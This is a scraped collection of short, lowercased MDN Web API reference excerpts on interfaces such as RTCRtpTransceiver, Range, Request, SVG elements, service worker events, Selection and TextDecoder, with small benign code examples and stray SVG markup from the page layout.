the read-only rtcrtptransceiver interface's mid property specifies the negotiated media id (mid) which the local and remote peers have agreed upon to uniquely identify the stream's pairing of sender and receiver.
... syntax var mediaid = rtcrtptransceiver.mid; value a domstring which uniquely identifies the pairing of source and destination of the transceiver's stream.
RTCRtpTransceiverDirection - Web APIs
the rtcrtptransceiverdirection type is an enumerated set of strings which are used to describe the directionality of a rtcrtptransceiver instance.
...each describes how the transceiver's associated rtcrtpsender and rtcrtpreceiver behave as shown in the table below.
RTCTrackEvent.streams - Web APIs
the webrtc api interface rtctrackevent's read-only streams property specifies an array of mediastream objects, one for each of the streams that comprise the track being added to the rtcpeerconnection.
... syntax var streams = trackevent.streams; value an array of mediastream objects, one for each stream that make up the new track.
RTCTrackEventInit.receiver - Web APIs
syntax var trackeventinit = { receiver: rtpreceiver, track: mediastreamtrack, streams: [videostream], transceiver: rtptransceiver }; var rtpreceiver = trackeventinit.receiver; value the rtcrtptransceiver which pairs the receiver with a sender and other properties which establish a single bidirectional srtp stream for use by the track associated with the rtctrackevent.
... note: the transceiver includes its own receiver property, which will always be the same rtcrtpreceiver as this one.
RTCTrackEventInit.streams - Web APIs
the rtctrackeventinit dictionary's optional streams property provides an array containing a mediastream object for each of the streams associated with the event's track.
... syntax var trackeventinit = { receiver: rtpreceiver, track: mediastreamtrack, streams: [videostream], transceiver: rtptransceiver }; var streamlist = trackeventinit.streams; value an array of mediastream objects, one for each stream which make up the track.
RTCTrackEventInit - Web APIs
properties rtctrackeventinit inherits properties from the eventinit dictionary, and also includes the following properties: receiver the rtcrtpreceiver which is being used to receive the track's media.
... streams optional an array of mediastream objects representing each of the streams that comprise the event's corresponding track.
Range.cloneRange() - Web APIs
WebAPIRangecloneRange
the returned clone is copied by value, not reference, so a change in either range does not affect the other.
... living standard no change.
Range.compareNode() - Web APIs
WebAPIRangecompareNode
warning: this method has been removed from gecko 1.9 (firefox 3) and will not exist in future versions of firefox, which was the only browser implementing it; you should switch to range.compareboundarypoints() as soon as possible.
... the following function can be used as replacement: function rangecomparenode(range, node) { var noderange = node.ownerdocument.createrange(); try { noderange.selectnode(node); } catch (e) { noderange.selectnodecontents(node); } var nodeisbefore = range.compareboundarypoints(range.start_to_start, noderange) == 1; var nodeisafter = range.compareboundarypoints(range.end_to_end, noderange) == -1; if (nodeisbefore && !nodeisafter) return 0; if (!nodeisbefore && nodeisafter) return 1; if (nodeisbefore && nodeisafter) return 2; return 3; } syntax returnvalue = range.comparenode( referencenode ); parameters referencenode the node to compare with the range.
Range.comparePoint() - Web APIs
if the reference node is a node of type text, comment, or cdatasection, then offset is the number of characters from the start of reference node.
... for other node types, offset is the number of child nodes between the start of the reference node.
Range.selectNodeContents() - Web APIs
the startoffset is 0, and the endoffset is the number of child nodes or number of characters contained in the reference node.
... living standard no change.
Range.setStartBefore() - Web APIs
syntax range.setstartbefore(referencenode); parameters referencenode the node before which the range should start.
... living standard no change.
ReadableStream.pipeTo() - Web APIs
the method will return a fulfilled promise once this process completes, unless an error is encountered while closing the destination in which case it will be rejected with that error.
... examples // fetch the original image fetch('png-logo.png') // retrieve its body as readablestream .then(response => response.body) .then(body => body.pipethrough(new pngtransformstream())) .then(rs => rs.pipeto(new finaldestinationstream())) specifications specification status comment streamsthe definition of 'pipeto()' in that specification.
ReadableStreamBYOBReader.cancel() - Web APIs
the supplied reason parameter will be given to the underlying source, which may or may not use it.
... return value a promise, which fulfills with the value given in the reason parameter.
ReadableStreamBYOBReader - Web APIs
the supplied reason argument will be given to the underlying source, which may or may not use it.
... readablestreambyobreader.read() returns a promise providing access to the next chunk in the stream's internal queue.
RelativeOrientationSensor - Web APIs
examples basic example the following example, which is loosely based on intel's orientation phone demo, instantiates an relativeorientationsensor with a frequency of 60 times a second.
...on each reading it uses orientationsensor.quaternion to rotate a visual model of a phone.
ReportingObserver - Web APIs
constructor reportingobserver() creates a new reportingobserver object instance, which can be used to collect and access reports.
...after the first time we call reportingobserver.takerecords(), which returns the first generated report and empties the queue.
Request.clone() - Web APIs
WebAPIRequestclone
return value a request object, which is an exact copy of the request that clone() was called on.
... var myrequest = new request('flowers.jpg'); var newrequest = myrequest.clone(); // a copy of the request is now stored in newrequest specifications specification status comment fetchthe definition of 'clone' in that specification.
Request.redirect - Web APIs
WebAPIRequestredirect
syntax var myredirect = request.redirect; value a requestredirect enum value, which can be one the following strings: follow error manual if not specified when the request is created, it takes the default value of follow.
... example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request redirect value in a variable: var myrequest = new request('flowers.jpg'); var mycred = myrequest.redirect; specifications specification status comment fetchthe definition of 'redirect' in that specification.
Request.referrerPolicy - Web APIs
the referrerpolicy read-only property of the request interface returns the referrer policy, which governs what referrer information, sent in the referer header, should be included with the request.
... example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request referrer policy in a variable: var myrequest = new request('flowers.jpg'); var myreferrer = myrequest.referrerpolicy; // returns "" by default specifications specification status comment fetchthe definition of 'referrerpolicy' in that specification.
ResizeObserverEntry.borderBoxSize - Web APIs
the array is necessary to support elements that have multiple fragments, which occur in multi-column scenarios.
... each object in the array contains two properties: blocksize the length of the observed element's border box in the block dimension.
ResizeObserverEntry.target - Web APIs
when the viewport size is changed, the box's rounded corners change in proportion to the size of the box.
... to grab a reference to the observed element so we can update its border-radius value after each change, we make use of the target property of each entry — entry.target.style.borderradius.
ResizeObserverEntry - Web APIs
the resizeobserverentry interface represents the object passed to the resizeobserver() constructor's callback function, which allows you to access the new dimensions of the element or svgelement being observed.
... note: the content box is the box in which content can be placed, meaning the border box minus the padding and border width.
Response() - Web APIs
WebAPIResponseResponse
this can be null (which is the default value), or one of: blob buffersource formdata readablestream urlsearchparams usvstring init optional an options object containing any custom settings that you want to apply to the response, or an empty object (which is the default value).
... examples in our fetch response example (see fetch response live) we create a new response object using the constructor, passing it a new blob as a body, and an init object containing a custom status and statustext: var myblob = new blob(); var init = { "status" : 200 , "statustext" : "supersmashinggreat!" }; var myresponse = new response(myblob,init); specifications specification status comment fetchthe definition of 'response()' ...
Response.error() - Web APIs
WebAPIResponseerror
note: an "error" response never really gets exposed to script: such a response to a fetch() would reject the promise.
... specifications specification status comment fetchthe definition of 'error()' in that specification.
SVGAltGlyphElement - Web APIs
this interface makes it possible to implement more sophisticated and particular glyph characters.
...musical symbols) or even alternate glyphs such as asian text strings it is required that a different set of glyphs be used than the normal given character data.
SVGAnimatedString.animVal - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetanimvalchrome full support yesedge full support 12firefox full support yesie no support noopera full support yessafari full support yeswebview android full support yeschrome android no support nofirefox android full support yesopera androi...
SVGAnimatedString.baseVal - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbasevalchrome full support yesedge full support 12firefox full support yesie no support noopera full support yessafari full support yeswebview android full support yeschrome android no support nofirefox android full support yesopera androi...
SVGElement: resize event - Web APIs
this event is only applicable to outermost svg elements and is dispatched after the resize operation has taken place.
... bubbles no cancelable no interface svgevent event handler property onresize examples svgelem.addeventlistener('resize', () => { console.log('svg resized.'); }) specifications specification status comment scalable vector graphics (svg) 2the definition of 'event changes in svg2' in that specification.
SVGExternalResourcesRequired - Web APIs
the svgexternalresourcesrequired interface defines an interface which applies to all elements where this element or one of its descendants can reference an external resource.
...isplay: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgexternalresourcesrequired" target="_top"><rect x="1" y="1" width="280" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="141" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgexternalresourcesrequired</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} warning: this interface was removed in the svg 2 specification.
SVGFilterPrimitiveStandardAttributes - Web APIs
inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgfilterprimitivestandardattributes" target="_top"><rect x="1" y="1" width="360" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="181" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfilterprimitivestandardattributes</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties svgfilterprimitivestandardattributes.x read only an svganimatedlength corresponding to the x attribute of the given element.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfilterprimitivestandardattributes' in that specification.
SVGFitToViewBox - Web APIs
browser compatibility desktop mobile chrome edge firefox internet explorer opera safari android webview chrome for android firefox for android opera for android safari on ios samsung internet svgfittoviewbox chrome ...
... chrome android ?
SVGGraphicsElement: cut event - Web APIs
so an event handler which wants to emulate the default action for "cut" while modifying the clipboard must also manually remove the selection from the document.
... it's possible to construct and dispatch a synthetic cut event, but this will not affect the system clipboard or the document's contents.
getBBox() - Web APIs
the svggraphicselement.getbbox() allows us to determine the coordinates of the smallest rectangle in which the object fits.
... getbbox returns different values than getboundingclientrect(), as the latter returns value relative to the viewport syntax let bboxrect = object.getbbox(); return value the returned value is a svgrect object, which defines the bounding box.
SVGImageElement.decode - Web APIs
the decode() method of the svgimageelement interface initiates asynchronous decoding of an image, returning a promise that resolves once the image data is ready for use.
... return value a promise which resolves once the image data is ready to be used, such as by appending it to the dom, replacing an existing image, and so forth.
SVGRenderingIntent - Web APIs
vg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgrenderingintent" target="_top"><rect x="1" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="91" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgrenderingintent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} warning: this interface was removed in the svg 2 specification.
...it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
SVGStringList - Web APIs
an svgstringlist object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown.
...any changes made to the item are immediately reflected in the list.
SVGViewElement - Web APIs
a list of domstring values which contain the names listed in the viewtarget attribute.
... each of the domstring values can be associated with the corresponding element using the getelementbyid() method call.
SVGZoomAndPan - Web APIs
;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgzoomandpan" target="_top"><rect x="1" y="1" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="66" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgzoomandpan</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_zoomandpan_unknown 0 the type is not one of predefined types.
... it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
ScreenOrientation.angle - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetanglechrome full support 38edge full support 79firefox full support 43ie no support noopera full support 25safari no support nowebview android full support 38chrome android full support 38firefox android full support 43opera android ...
ScreenOrientation.lock() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetlockchrome full support 38edge full support 79firefox full support 43ie no support noopera full support 25safari no support nowebview android full support 38chrome android full support 38firefox android full support 43opera android ...
ScreenOrientation.type - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettypechrome full support 38edge full support 79firefox full support 43ie no support noopera full support 25safari no support nowebview android full support 38chrome android full support 38firefox android full support 43opera android ...
ScreenOrientation.unlock() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetunlockchrome full support 38edge full support 79firefox full support 43ie no support noopera full support 25safari no support nowebview android full support 38chrome android full support 38firefox android full support 43opera android ...
ScriptProcessorNode: audioprocess event - Web APIs
scriptprocessornode.onaudioprocess examples scriptnode.addeventlistener('audioprocess', function(audioprocessingevent) { // the input buffer is a song we loaded earlier var inputbuffer = audioprocessingevent.inputbuffer; // the output buffer contains the samples that will be modified and played var outputbuffer = audioprocessingevent.outputbuffer; // loop through the output channels (in this case there is only one) for (var channel = 0; channel < outputbuffer.numberofchannels; channel++) { var inputdata = inputbuffer.getchanneldata(channel); var outputdata = outputbuffer.getchanneldata(channel); // loop through the 4096 samples for (var sample = 0; sample < inputbuffer.length; sample++) { // make output equal to the same as the input outp...
...utdata[sample] = inputdata[sample]; // add noise to each output sample outputdata[sample] += ((math.random() * 2) - 1) * 0.2; } } }) you could also set up the event handler using the scriptprocessornode.onaudioprocess property: scriptnode.onaudioprocess = function(audioprocessingevent) { ...
ScrollToOptions.left - Web APIs
the positions to scroll to along the x and y axes), and a checkbox indicating whether they want smooth scrolling enabled or not.
... when the form is submitted, an event handler is run that puts the entered values into a scrolltooptions dictionary, and then invokes the window.scrollto() method, passing the dictionary as a parameter: form.addeventlistener('submit', (e) => { e.preventdefault(); var scrolloptions = { left: leftinput.value, top: topinput.value, behavior: scrollinput.checked ?
ScrollToOptions.top - Web APIs
the positions to scroll to along the x and y axes), and a checkbox indicating whether they want smooth scrolling enabled or not.
... when the form is submitted, an event handler is run that puts the entered values into a scrolltooptions dictionary, and then invokes the window.scrollto() method, passing the dictionary as a parameter: form.addeventlistener('submit', (e) => { e.preventdefault(); var scrolloptions = { left: leftinput.value, top: topinput.value, behavior: scrollinput.checked ?
SecurityPolicyViolationEvent.documentURI - Web APIs
the documenturi read-only property of the securitypolicyviolationevent interface is a usvstring representing the uri of the document or worker in which the violation was found.
... syntax let documenturi = violationeventinstance.documenturi; value a usvstring representing the uri of the document or worker in which the violation was found.
SecurityPolicyViolationEvent.lineNumber - Web APIs
the linenumber read-only property of the securitypolicyviolationevent interface is the line number in the document or worker at which the violation occurred.
... syntax let linenumber = violationeventinstance.linenumber; value a number representing the line number at which the violation occurred.
SecurityPolicyViolationEvent.sourceFile - Web APIs
the sourcefile read-only property of the securitypolicyviolationevent interface is a usvstring representing the uri of the document or worker in which the violation was found.
... syntax let source = violationeventinstance.sourcefile; value a usvstring representing the uri of the document or worker in which the violation was found.
SecurityPolicyViolationEvent.statusCode - Web APIs
the statuscode read-only property of the securitypolicyviolationevent interface is a number representing the http status code of the document or worker in which the violation occurred.
... syntax let status = violationeventinstance.statuscode; value a number representing the status code of the document or worker in which the violation occurred.
Selection.focusNode - Web APIs
the selection.focusnode read-only property returns the node in which the selection ends.
...the selection's focus moves, but the selection's anchor, the other end of the selection, does not move.
Selection.focusOffset - Web APIs
the selection.focusoffset read-only property returns the number of characters that the selection's focus is offset within the selection.focusnode.
...if the selection ends with the first character in the selection.focusnode, 0 is returned.
Selection.isCollapsed - Web APIs
the selection.iscollapsed read-only property returns a boolean which indicates whether or not there is currently any text selected.
...in that scenario, calling a selection object's getrangeat() method may return a range object which is collapsed.
Selection.type - Web APIs
WebAPISelectiontype
example in this example, the event handler will fire each time a new selection is made.
... var selection; document.onselectionchange = function() { console.log('new selection made'); selection = document.getselection(); console.log(selection.type); }; specifications specification status comment selection apithe definition of 'selection.type' in that specification.
Sensor - Web APIs
WebAPISensor
event handlers sensor.onerror called when an error occurs on one of the child interfaces of the sensor interface.
... sensor.onreading called when a reading is taken on one of the child interfaces of the sensor interface.
ServiceWorker.state - Web APIs
the code listens for any change in the serviceworker.state and returns its value.
...r('#kind').textcontent = 'installing'; } else if (registration.waiting) { serviceworker = registration.waiting; document.queryselector('#kind').textcontent = 'waiting'; } else if (registration.active) { serviceworker = registration.active; document.queryselector('#kind').textcontent = 'active'; } if (serviceworker) { logstate(serviceworker.state); serviceworker.addeventlistener('statechange', function(e) { logstate(e.target.state); }); } specifications specification status comment service workersthe definition of 'state' in that specification.
ServiceWorkerContainer.ready - Web APIs
it returns a promise that will never reject, and which waits indefinitely until the serviceworkerregistration associated with the current page has an active worker.
...}); value a promise that will never reject, and which may eventually resolve with a serviceworkerregistration.
ServiceWorkerGlobalScope: activate event - Web APIs
bubbles no cancelable no interface extendableevent event handler property serviceworkerglobalscope.onactivate examples the following snippet shows how you could use an activate event handler to upgrade a cache.
... globalscope.addeventlistener('activate', function(event) { var cachewhitelist = ['v2']; event.waituntil( caches.foreach(function(cache, cachename) { if (cachewhitelist.indexof(cachename) == -1) { return caches.delete(cachename); } }) ); }); you can also set up the event handler using the serviceworkerglobalscope.onactivate property: globalscope.onactivate = function(event) { ...
ServiceWorkerGlobalScope: contentdelete event - Web APIs
bubbles no cancelable no interface contentindexevent event handler property oncontentdelete examples the following example uses a contentdelete event handler to remove cached content related to the deleted index item.
... self.addeventlistener('contentdelete', event => { event.waituntil( caches.open('cache-name').then(cache => { return promise.all([ cache.delete(`/icon/${event.id}`), cache.delete(`/content/${event.id}`) ]) }) ); }); you can also set up the event handler using the serviceworkerglobalscope.ondelete property: self.oncontentdelete = (event) => { ...
ServiceWorkerGlobalScope: notificationclick event - Web APIs
event handler onnotificationclick examples you can use the notificationclick event in an addeventlistener method: self.addeventlistener('notificationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); or use the onnotificationclick event handler property: self.onnotificationclick = function(...
...event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }; specifications specification status notifications apithe definition of 'onnotificationclick' in that specification.
ServiceWorkerGlobalScope.onactivate - Web APIs
}; examples the following snippet shows how you could use an activate event handler to upgrade a cache.
... then.addeventlistener('activate', function(event) { var cachewhitelist = ['v2']; event.waituntil( caches.foreach(function(cache, cachename) { if (cachewhitelist.indexof(cachename) == -1) { return caches.delete(cachename); } }) ); }); specifications specification status comment service workersthe definition of 'event handlers' in that specification.
ServiceWorkerGlobalScope.oncontentdelete - Web APIs
}; examples the following example uses a contentdelete event handler to remove cached content related to the deleted index item.
... self.addeventlistener('contentdelete', event => { event.waituntil( caches.open('cache-name').then(cache => { return promise.all([ cache.delete(`/icon/${event.id}`), cache.delete(`/content/${event.id}`) ]) }) ); }); specifications specification status comment unknownthe definition of 'contentdelete' in that specification.
ServiceWorkerGlobalScope.onmessage - Web APIs
for the message event, service workers use the extendablemessageevent interface which extends the extendableevent interface.
...(they used to be represented by serviceworkermessageevent objects, which have now been deprecated.) syntax serviceworkerglobalscope.onmessage = function(extendablemessageevent) { ...
onnotificationclose - Web APIs
the serviceworkerglobalscope.onnotificationclose property is an event handler called whenever the notificationclose event is dispatched on the serviceworkerglobalscope object, that is when a user closes a displayed notification spawned by serviceworkerregistration.shownotification().
... notifications created on the main thread or in workers which aren't service workers using the notification() constructor will instead receive a close event on the notification object itself.
ServiceWorkerGlobalScope: push event - Web APIs
bubbles no cancelable no interface pushevent event handler property onpush example this example sets up a handler for push events that takes json data, parses it, and dispatches the message for handling based on information contained within the message.
... self.addeventlistener("push", event => { let message = event.data.json(); switch(message.type) { case "init": doinit(); break; case "shutdown": doshutdown(); break; } }, false); specifications specification status comment push apithe definition of 'push' in that specification.
ServiceWorkerMessageEvent.ServiceWorkerMessageEvent() - Web APIs
init optional an initialisation object, which should contain the following parameters: data: the event's data — this can be any type.
... ports: an array containing the messageport objects connected to the channel sending the message.
ServiceWorkerMessageEvent.data - Web APIs
examples when the following code is used inside the main thread to set up a message channel between it and a service worker for sending messages between the two, the event object of onmessage will be a serviceworkermessageevent.
... // set up a message channel to communicate with the sw var channel = new messagechannel(); channel.port1.onmessage = function(e) { console.log(e); handlechannelmessage(e.data); } mysw = reg.active; mysw.postmessage('hello', [channel.port2]); }); ...
ServiceWorkerMessageEvent.lastEventId - Web APIs
examples when the following code is used inside the main thread to set up a message channel between it and a service worker for sending messages between the two, the event object of onmessage will be a serviceworkermessageevent.
... // set up a message channel to communicate with the sw var channel = new messagechannel(); channel.port1.onmessage = function(e) { console.log(e.lasteventid); handlechannelmessage(e.data); } mysw = reg.active; mysw.postmessage('hello', [channel.port2]); }); ...
ServiceWorkerMessageEvent.origin - Web APIs
examples when the following code is used inside the main thread to set up a message channel between it and a service worker for sending messages between the two, the event object of onmessage will be a serviceworkermessageevent.
... // set up a message channel to communicate with the sw var channel = new messagechannel(); channel.port1.onmessage = function(e) { console.log(e.origin); handlechannelmessage(e.data); } mysw = reg.active; mysw.postmessage('hello', [channel.port2]); }); ...
ServiceWorkerMessageEvent.source - Web APIs
examples when the following code is used inside the main thread to set up a message channel between it and a service worker for sending messages between the two, the event object of onmessage will be a serviceworkermessageevent.
... // set up a message channel to communicate with the sw var channel = new messagechannel(); channel.port1.onmessage = function(e) { console.log(e.source); handlechannelmessage(e.data); } mysw = reg.active; mysw.postmessage('hello', [channel.port2]); }); ...
ServiceWorkerMessageEvent - Web APIs
examples when the following code is used inside the main thread to set up a message channel between it and a service worker for sending messages between the two, the event object of onmessage will be a serviceworkermessageevent.
... // set up a message channel to communicate with the sw var channel = new messagechannel(); channel.port1.onmessage = function(e) { console.log(e); handlechannelmessage(e.data); } mysw = reg.active; mysw.postmessage('hello', [channel.port2]); }); ...
ServiceWorkerRegistration.sync - Web APIs
the sync property of the serviceworkerregistration interface returns a reference to the syncmanager interface, which manages background synchronization processes.
... specifications specification status comment web background synchronization living standard initial definition.
ServiceWorkerState - Web APIs
this is primarily used to ensure that the service worker is not active until all of the core caches are populated.
...no functional events are dispatched until the state becomes activated.
ShadowRoot.delegatesFocus - Web APIs
the delegatesfocus read-only property of the shadowroot interface returns a boolean that indicates whether delegatesfocus was set when the shadow was attached (see element.attachshadow()).
... this is currently an experimental non-standard feature, available only in chrome.
ShadowRoot.mode - Web APIs
WebAPIShadowRootmode
when the mode of a shadow root is "closed", the shadow root’s implementation internals are inaccessible and unchangeable from javascript—in the same way the implementation internals of, for example, the <video> element are inaccessible and unchangeable from javascript.
... examples let customelem = document.queryselector('my-shadow-dom-element'); let shadow = customelem.shadowroot; // another way to check whether the shadow root is open; it will return null if not if(shadow) { // if it is open, close it to stop people stealing our secrets!
StaticRange.collapsed - Web APIs
syntax var iscollpased = staticrange.collapsed value a boolean value which is true if the range is collapsed.
... a collapsed range is one in which the start and end positions are the same, resulting in a zero-character-long range..
StorageEstimate.usage - Web APIs
the storageestimate dictionary's usage property is a conservative approximation of how much storage is allotted to the origin or web app that called storagemanager.estimate(); there may be more space available, but there will not be less.
... the value is an estimate because the user agent may use compression, duplication prevention techniques, and other methods to improve storage efficiency.
StorageEstimate - Web APIs
the storageestimate dictionary is used by the storagemanager to provide estimates of the size of a site's or application's data store and how much of it is in use.
... properties quota secure context a numeric value in bytes which provides a conservative approximation of the total storage the user's device or computer has available for the site origin or web app.
StylePropertyMap.set() - Web APIs
the set() method of the stylepropertymap interface changes the css declaration with the given property.
...font, width, background color) to change.
StylePropertyMap - Web APIs
<svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/stylepropertymap" target="_top"><rect x="1" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">stylepropertymap</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, stylepropertymapreadonly.
... stylepropertymap.set() changes the css declaration with the given property.
StylePropertyMapReadOnly.get() - Web APIs
let's start by creating a link inside a paragraph in our html, and adding a definition list which we will populate with javascript: <p> <a href="https://example.com">link</a> </p> <dl id="regurgitation"></dl> we add a bit of css, including a custom property and an inhertable property: p { font-weight: bold; } a { --colour: red; color: var(--colour); } we use the element's computedstylemap() to return a stylepropertymapreadonly object.
...rieve all computed styles with computedstylemap() const stylemap = myelement.computedstylemap(); // array of properties we're interested in const ofinterest = ['font-weight', 'border-left-color', 'color', '--colour']; // iterate thru our properties of interest for ( let i = 0; i < ofinterest.length; i++ ) { // properties const cssproperty = document.createelement('dt'); cssproperty.appendchild(document.createtextnode(ofinterest[i])); styleslist.appendchild(cssproperty); // values const cssvalue = document.createelement('dd'); cssvalue.appendchild(document.createtextnode( stylemap.get(ofinterest[i]))); styleslist.appendchild(cssvalue); } specifications specification status comment css typed om level 1the definition of 'get()' in that specificat...
Stylesheet.href - Web APIs
WebAPIStyleSheethref
example // on a local machine: <html> <head> <link rel="stylesheet" href="example.css" type="text/css" /> <script> function sref() { alert(document.stylesheets[0].href); } </script> </head> <body> <div class="thunder">thunder</div> <button onclick="sref()">ss</button> </body> </html> // returns "file:////c:/windows/desktop/example.css notes if the style sheet is a linked style sheet, the value of its attribute is its location.
... this property is read-only in firefox, opera, google chrome, and safari, and it is read/write in internet explorer.
SubtleCrypto.digest() - Web APIs
it returns a promise which will be fulfilled with the digest.
... supported algorithms digest algorithms, also known as cryptographic hash functions, transform an arbitrarily large block of data into a fixed-size output, usually much shorter than the input.
TaskAttributionTiming - Web APIs
;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceentry" target="_top"><rect x="1" y="1" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceentry</text></a><polyline points="161,25 171,20 171,30 161,25" stroke="#d4dde4" fill="none"/><line x1="171" y1="25" x2="201" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/taskattributiontiming" target="_top"><rect x="201" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="306" y="30" font-size=...
..."12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">taskattributiontiming</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties taskattributiontiming.containertype read only returns the type of frame container, one of iframe, embed, or object.
Text.isElementContentWhitespace - Web APIs
syntax b = textnode.iselementcontentwhitespace; example in the example below, we create a node with mixed display and whitespace characters and the attribute is false.
... var tn = document.createtextnode("hello world"); tn.iselementcontentwhitespace; /* evaluates to false */ for a node that is all whitespace characters, the iselementcontentwhitespace evaluates to true.
Text.replaceWholeText() - Web APIs
this method returns the text node which received the replacement text, or null if the replacement text is an empty string.
... the returned node is the current node unless the current node is read only, in which case the returned node is a newly created text node of the same type which has been inserted at the location of the replacement.
TextDecoder() - Web APIs
each label is associated with a specific encoding type: possible values of utflabel encoding "unicode-1-1-utf-8", "utf-8", "utf8" 'utf-8' "866", "cp866", "csibm866", "ibm866" 'ibm866' "csisolatin2", "iso-8859-2", "iso-ir-101", "iso8859-2", "iso88592", "iso_8859-2", "iso_8859-2:1987", "l2", "latin2" 'iso-8859-2' "csisola...
..."windows-1254", "x-cp1254" 'windows-1254' "cp1255", "windows-1255", "x-cp1255" 'windows-1255' "cp1256", "windows-1256", "x-cp1256" 'windows-1256' "cp1257", "windows-1257", "x-cp1257" 'windows-1257' "cp1258", "windows-1258", "x-cp1258" 'windows-1258' "x-mac-cyrillic", "x-mac-ukrainian" 'x-mac-cyrillic' "chinese", "csgb2312", "csiso58gb231280", "gb2312", "gb_2312", "gb_2312-80", "gbk", "iso-ir-58", "x-gbk" 'gbk' "gb18030" 'gb18030' "hz-gb-2312" 'hz-gb-2312' "big5", "big5-hkscs", "cn-big5", "csbig5", "x-x-big5" 'big5' "cseucpkdfmtjapanese", "euc-jp", "x-euc-jp" 'euc-jp' "csiso2022jp", "iso-2022-jp" note:...
TextEncoder() - Web APIs
syntax encoder = new textencoder(); parameters textencoder() takes no parameters since firefox 48 and chrome 53 note: prior to firefox 48 and chrome 53, an encoding type label was accepted as a paramer to the textencoder object, since then both browers have removed support for any encoder type other than utf-8, to match the spec.
... exceptions textencoder() throws no exceptions since firefox 48 and chrome 53 note: prior to firefox 48 and chrome 53 an exception would be thrown for an unknown encoding type.
TextMetrics - Web APIs
